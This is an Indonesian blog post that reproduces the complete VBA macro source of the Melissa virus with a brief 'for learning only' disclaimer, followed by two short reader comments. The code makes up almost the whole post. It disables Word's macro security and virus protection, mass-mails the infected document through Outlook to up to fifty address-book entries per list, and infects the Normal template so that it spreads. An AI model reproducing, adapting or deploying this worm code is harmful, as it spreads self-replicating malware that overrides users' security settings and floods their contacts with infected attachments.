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Kode Script virus Melissa

Ini dia kode script virus Melissa, virus  yang pernah ngetrend beberapa tahun yang lalu, sekarang seh udah kalah pamor ama conficker.. hihihi..

O ya, virus ini dibuat menggunakan Visual Basic Script. Ini dia kodenya, tap ini cuma buat pembelajaran aja, buat yang laen-laennya gue gak nanggung..

Private Sub AutoOpen() 
On Error Resume Next 
  p$ = "clone" 
 
If System.PrivateProfileString("",     "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then 
  CommandBars("Macro").Controls("Security...").Enabled = False 
  System.PrivateProfileString("",   "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& 
Else 
 
p$ = "clone" 
CommandBars("Tools").Controls("Macro").Enabled = False 
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):    Options.SaveNormalPrompt = (1 - 1) 
End If 
 
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice 
  Set UngaDasOutlook = CreateObject("Outlook.Application") 
  Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") 
 
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?")  <> "... by Kwyjibo" Then 
 
   If UngaDasOutlook = "Outlook" Then 
      DasMapiName.Logon "profile", "password"
 
For y = 1 To DasMapiName.AddressLists.Count 
 
   Set AddyBook = DasMapiName.AddressLists(y) 
    x = 1 
   Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) 
 
For oo = 1 To AddyBook.AddressEntries.Count 
    Peep = AddyBook.AddressEntries(x) 
    BreakUmOffASlice.Recipients.Add Peep 
  x = x + 1 
If x > 50 Then oo = AddyBook.AddressEntries.Count 
 
Next oo 
    BreakUmOffASlice.Subject = "Important Message From " & Application.UserName 
  BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-) " 
   BreakUmOffASlice.Attachments.Add ActiveDocument.FullName 
  BreakUmOffASlice.Send 
 Peep = "" 
Next y 
 
DasMapiName.Logoff 
 
End If 
 
p$ = "clone" 
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" 
End If 
 
  Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) 
  Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) 
    NTCL = NTI1.CodeModule.CountOfLines 
    ADCL = ADI1.CodeModule.CountOfLines 
  BGN = 2 
 
If ADI1.Name <> "Melissa" Then 
 
  If ADCL > 0 Then _ 
   ADI1.CodeModule.DeleteLines 1, ADCL 
  Set ToInfect = ADI1 
   ADI1.Name = "Melissa" 
  DoAD = True 
End If
 
If NTI1.Name <> "Melissa" Then 
  If NTCL > 0 Then _ 
   NTI1.CodeModule.DeleteLines 1, NTCL 
   Set ToInfect = NTI1 
  NTI1.Name = "Melissa" 
  DoNT = True 
End If
 
If DoNT <> True And DoAD <> True Then GoTo CYA 
 
  If DoNT = True Then 
  Do While ADI1.CodeModule.Lines(1, 1) = "" 
    ADI1.CodeModule.DeleteLines 1 
 Loop 
 
   ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") 
 
 Do While ADI1.CodeModule.Lines(BGN, 1) <> "" 
  ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) 
  BGN = BGN + 1 
 Loop 
End If 
 
p$ = "clone" 
  If DoAD = True Then 
    Do While NTI1.CodeModule.Lines(1, 1) = "" 
     NTI1.CodeModule.DeleteLines 1 
    Loop 
 
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") 
 
Do While NTI1.CodeModule.Lines(BGN, 1) <> "" 
  ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) 
  BGN = BGN + 1 
Loop
 
End If 
CYA: 
 
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then 
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 
   ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then 
    ActiveDocument.Saved = True: End If 
'WORD/Melissa written by Kwyjibo 
'Clone written by Duke/SMF 
'Works in both Word 2000 and Word 97 
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! 
 
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score,    plus fifty points for using all my letters. Game's over. I'm outta here." 
End Sub

 

2 Comment (s):

dwi maihut tua manik mengatakan...

Gud..:)
i'm waiting for your next posting

dwi maihut tua manik mengatakan...

Gud..:)
i'm waiting for your next posting

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